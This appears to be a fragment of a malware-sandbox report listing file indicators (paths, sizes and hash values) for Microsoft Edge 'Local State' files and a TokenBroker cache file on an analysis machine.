SSDEEP 384:npkiF9CcmyWCs3sNG8TUNTUlIm2QckCr9lgKpvBftGJXfhT9J84Dpye4KV8p0/HZ:p/Fccps3HwgbkUSkjGzT9J840I8p0/Z
TLSH
T146B26D35EC68DABBEDE74F89B74A7A03EEE0526785DC59E4CAD85D0D00931DC030B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 9ab0afd0bf00f67ef238f36162a5e865c616d0ca59f78454850554254ac5954d
MD5 637f0e470d47cff09259a4f65af74324
SHA1 cfc418322abd41f5c9b05236f40d25297b2a8e3e
SHA512 cc59f495a9b485d0845607f594819dc1a24e7dc3ca12017bf65c6ee33854931a48f32c65917ee3c0224720c6c961eaae6dd6011efb6245d1ef6f498b0db59076
SSDEEP 384:npJiF9CcmyWCs3sNH8TUNTUlI40TIckCr1NYpvBftGJXfhT9J8dL/0pG51nmty/Q:pgFccps3awghkkOjGzT9J8x77I
TLSH
T120B23A35E868DABBEDE74F89A75A3A03DFE0026789CC5AD4DED84D4D01871DD030B926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 1da0a684b96ea8b6d9b0e5a65d53c1c4e92cab5930a7fcb9b717385e48a522a9
MD5 a9ef33bf600037212938edbda7ec250f
SHA1 cbe6c21fd213f05d0d76c996e0d8349977c6e116
SHA512 a7e4634d6580fc55343cc9aa8cd820a4ab9617651f7a68feb70a95534407de90d7e51d7af418c9ae3eed03d1ba8fa0db08e0bb5b4a85f1a754bd7dfa525ab2b7
SSDEEP 384:np9iF9CcmyWCs3sNH8TUNTUlIm2QckCr95u1pvBftGJXfhT9J8dL/0pGe4KV8p0h:p0Fccps3awgbkUQbjGzT9J8x7I8p0/Z
TLSH
T1CAC26C35E868DABBEDE74F89B74A7A03DEE0126789CC59E4DAD85D0D00931DD030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 6eda7763deceed08611229c25961e227d0709603ac245b2d6b8d9317d8f5e7cf
MD5 6b119953b2bf5efd073e5d4ef98cd329
SHA1 fa6d09781815a0abdb6c5fa2408704110c01cc4d
SHA512 0f5a556313749003190ab4c0827e147f7af1e5e363af2718d135e806201fa9bdc38c650df13f79582af3cf27bbf42ac5f83c57119b9b9473bb240aa37b3d9c71
TLSH
T163414A58B6F92148B3B76E6A9BF6A86E587E78372F06D05D00110E4F0A22A40DC62737
MD5 SHA1 SHA512 TLSH

Submit Download